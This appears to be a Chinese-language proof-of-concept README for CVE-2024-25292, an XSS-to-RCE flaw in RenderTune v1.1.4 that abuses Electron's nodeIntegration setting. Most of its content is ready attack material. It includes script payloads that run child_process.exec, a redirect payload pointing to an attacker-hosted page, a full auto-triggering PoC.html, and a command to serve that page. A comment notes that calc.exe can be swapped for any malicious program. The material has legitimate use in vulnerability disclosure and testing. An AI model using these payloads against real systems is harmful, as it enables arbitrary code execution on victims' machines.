RenderTune RCE - CVE-2024-25292 漏洞概念验证
本项目是针对 CVE-2024-25292 漏洞的概念验证(Proof-of-Concept)。该漏洞存在于 RenderTune v1.1.4 中,允许攻击者通过构造恶意负载注入到"上传标题"(Upload Title)参数,从而执行任意 Web 脚本或 HTML 代码,并进一步利用 Electron 框架的配置缺陷实现远程代码执行(RCE)。
功能特性
- XSS 漏洞利用:演示如何通过 Markdown 链接或脚本标签在标题字段注入恶意代码
- RCE 实现 :利用 Electron 中
nodeIntegration开启的配置,通过 Node.js 子进程执行系统命令 - 攻击服务器模拟:提供完整的攻击页面代码,可部署于攻击者服务器进行自动化利用
- 自动触发机制:页面加载时自动执行恶意代码,无需用户点击交互
安装指南
本项目为漏洞演示代码,无需安装额外依赖。运行攻击服务器需要 Python 环境。
系统要求
- Python 3.x(用于启动简易 HTTP 服务器)
- 现代浏览器(用于访问攻击页面)
- 目标环境:RenderTune v1.1.4 或 nteract 0.28.0(存在漏洞的版本)
启动攻击服务器
bash
# 在存放 PoC.html 的目录下执行
python -m http.server 80
使用说明
漏洞利用步骤
场景一:XSS 到 RCE
步骤 1:确认标题部分存在 XSS 漏洞(需同时上传图片文件才能注册项目)
html
<b>jruru</b>
步骤 2:使用 XSS 执行 Node.js 系统命令
html
<script>require('child_process').exec('C:/Windows/System32/calc.exe')</script>
场景二:通过攻击者服务器进行攻击
当应用每次运行时,使用 window.location 自动跳转到攻击者控制的页面。
html
<script>window.location='http://[attacker IP]/PoC.html'</script>
完整攻击页面代码
将以下内容保存为 PoC.html,放置在攻击服务器的 Web 根目录下:
html
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<a id="jruruLink" href="#" onclick="openExternal()">jruru Link</a>
<script>
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU');
alert(e);
}
}
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
核心代码
漏洞利用核心 - 自动执行 RCE
以下代码演示了页面加载后自动通过 Electron 的 shell 模块打开系统计算器,实现远程代码执行:
javascript
// 利用 Electron 的 nodeIntegration 特性,直接调用 Node.js 模块
function openExternal() {
try {
// 从 Electron 中解构 shell 模块
const { shell } = require('electron');
// 打开系统文件路径,实际可替换为任意恶意程序路径
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU');
alert(e);
}
}
// 页面加载完成后自动触发,无需用户交互
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
XSS 注入载荷示例
html
<!-- 基础 XSS 验证 -->
<b>jruru</b>
<!-- 执行 Node.js 命令的 XSS 载荷 -->
<script>require('child_process').exec('C:/Windows/System32/calc.exe')</script>
<!-- 重定向到攻击者服务器的载荷 -->
<script>window.location='http://[attacker IP]/PoC.html'</script>
漏洞利用原理
- RenderTune v1.1.4 在处理 Markdown 链接时,会创建 Electron WebView
- WebView 配置中
nodeIntegration被设置为true,允许在渲染进程中访问 Node.js API - 攻击者通过 XSS 注入脚本,调用
require('child_process').exec()或require('electron').shell.openExternal() - 成功实现从 XSS 到 RCE 的完整攻击链 6HFtX5dABrKlqXeO5PUv/w4WElzZ7wu3Vcpj0XEsVLE=